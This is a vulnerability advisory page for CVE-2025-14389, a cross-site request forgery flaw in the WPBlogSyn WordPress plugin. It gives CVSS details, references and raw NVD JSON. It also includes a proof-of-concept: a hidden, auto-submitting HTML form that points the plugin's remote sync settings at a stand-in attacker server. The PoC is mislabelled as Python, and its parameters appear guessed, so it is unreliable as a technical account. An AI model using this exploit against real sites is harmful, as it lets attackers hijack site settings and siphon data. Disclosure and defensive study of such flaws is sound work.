CVE-2025-14389

Description

The WPBlogSyn plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.0. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update the plugin's remote sync settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WPBlogSyn插件 <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-14389 -->
<!-- This PoC demonstrates how an attacker can forge a request to update WPBlogSyn remote sync settings -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack Demo</title>
</head>
<body>
    <h1>Click to sync your blog</h1>
    <!-- Hidden form that auto-submits -->
    <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- Required WordPress admin POST action -->
        <input type="hidden" name="action" value="update" />
        
        <!-- WPBlogSyn settings update parameters -->
        <input type="hidden" name="option_page" value="wpblogsync_settings" />
        
        <!-- Malicious remote sync URL controlled by attacker -->
        <input type="hidden" name="wpblogsync_remote_url" value="https://attacker-controlled-server.com/sync" />
        
        <!-- Malicious API key for attacker -->
        <input type="hidden" name="wpblogsync_api_key" value="attacker_stolen_key" />
        
        <!-- Enable malicious sync -->
        <input type="hidden" name="wpblogsync_enabled" value="1" />
        
        <!-- Sync frequency setting -->
        <input type="hidden" name="wpblogsync_frequency" value="realtime" />
        
        <!-- WordPress nonce - this would be missing or improperly validated in vulnerable version -->
        <!-- In vulnerable version, nonce is either missing or not properly verified -->
        <input type="hidden" name="_wpnonce" value="" />
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
    </script>
    
    <p>If you see this, the attack failed.</p>
</body>
</html>

<!-- 
Attack Scenario:
1. Attacker creates this HTML page with malicious form
2. Attacker tricks WordPress admin into visiting the page
3. Browser automatically sends POST request with admin cookies
4. Vulnerable plugin processes request without proper nonce validation
5. Remote sync settings are modified to point to attacker server
6. Future sync operations will send data to attacker-controlled server
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14389
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14389
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14389/
[4] VulDB https://vuldb.com/cve/CVE-2025-14389
[5] https://plugins.trac.wordpress.org/browser/wpblogsync/tags/1.0/blogsync.php#L14
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/141137a4-609f-4ea9-beba-d37b48144c29?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14389", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:52.290", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPBlogSyn plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.0. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update the plugin's remote sync settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin WPBlogSyn para WordPress es vulnerable a la falsificación de petición en sitios cruzados en versiones hasta la 1.0, inclusive. Esto se debe a una validación de nonce ausente o incorrecta. Esto permite que atacantes no autenticados actualicen la configuración de sincronización remota del plugin a través de una petición falsificada siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wpblogsync/tags/1.0/blogsync.php#L14", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/141137a4-609f-4ea9-beba-d37b48144c29?source=cve", "source": "[email protected]"}]}}